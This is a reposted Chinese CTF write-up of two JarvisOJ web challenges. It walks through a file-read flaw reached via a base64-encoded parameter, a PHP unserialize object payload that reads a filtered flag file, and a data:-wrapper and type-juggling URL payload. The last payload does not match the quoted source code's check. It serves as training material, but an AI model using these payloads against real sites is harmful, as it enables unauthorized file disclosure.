【搬运于原博客】JarvisOj平台做题总结(1)

    技术2022-07-10  93

    title: JarvisOj平台做题总结(1) date: 2018-07-21 19:37:11

    [JarvisOj]神盾局的秘密IN A Mess

    [JarvisOj]神盾局的秘密

    题目链接:http://web.jarvisoj.com:32768/ 考察代码审计和文件包含漏洞= =

    http://web.jarvisoj.com:32768/查看源代码

    点击进入之后一看长成这样还以为是data伪协议对图片进行base64编码,传了半天事实证明我又想多了= = [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uSWDHg3W-1593529256959)(JarvisOj平台做题总结-1/图片1.jpg)]

    view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw==

    c2hpZWxkLmpwZw==解码是shield.jpg,文件包含漏洞将文件名进行base64编码传递进去,会打印出文件内容。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ekyPnaAx-1593529256967)(JarvisOj平台做题总结-1/图片2.jpg)]

    view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA= 利用这个漏洞将showing.php打印出来 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KnQs3tJ7-1593529256972)(JarvisOj平台做题总结-1/图片3.jpg)]

    view-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw 打印index.php [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MSEItBOl-1593529256981)(JarvisOj平台做题总结-1/图片4.jpg)]

    利用同样的漏洞, view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA== 读取shield.php文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-811cE4fd-1593529256989)(JarvisOj平台做题总结-1/图片5.jpg)]

    Flag在pctf里面,还是和之前一样的方法,然鹅 File not found! 观察发现showimg.php 对"pctf" 做了过滤,还好在index.php中用class变量unserialize可以传入一个字符串反序列化的东西。

    O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;} Payload:view-source:http://web.jarvisoj.com:32768/index.php?class=O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;} [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w0U60wmv-1593529256993)(JarvisOj平台做题总结-1/图片6.jpg)]

    最后得到flag: PCTF{I_4m_not_fl4g}

    IN A Mess

    题目链接:http://web.jarvisoj.com:32780 查看源码 提示index.phps [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JQ1Gnz7b-1593529256995)(JarvisOj平台做题总结-1/图片7.jpg)]

    http://web.jarvisoj.com:32780/index.php?a=data:,1112 is a nice lab! &b=412311&id=0e123

    <?php error_reporting(0); if(!$_GET['id']) { echo "hahahaha"; } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo '23333'; return ; } $data = @file_get_contents($a,'r'); if($data=="I want to join D0g3" and $id==0 and strlen($b)>5 and strlen($b)<7 and eregi($b,"1114") and substr($b,0,1)!=4) { include "flag.php"; echo "$f1ag"; } else { print "work harder!harder!harder!"; } ?>

    参考知识点

    php isset()与empty()的使用的区别 http://www.jb51.net/article/24666.htm unserialize和serialize函数 http://www.jb51.net/article/112638.htm data类型的Url格式:把小数据直接嵌入到Url中 - 博客 http://blog.csdn.net/lxgwm2008/article/details/38437875

    Processed: 0.013, SQL: 9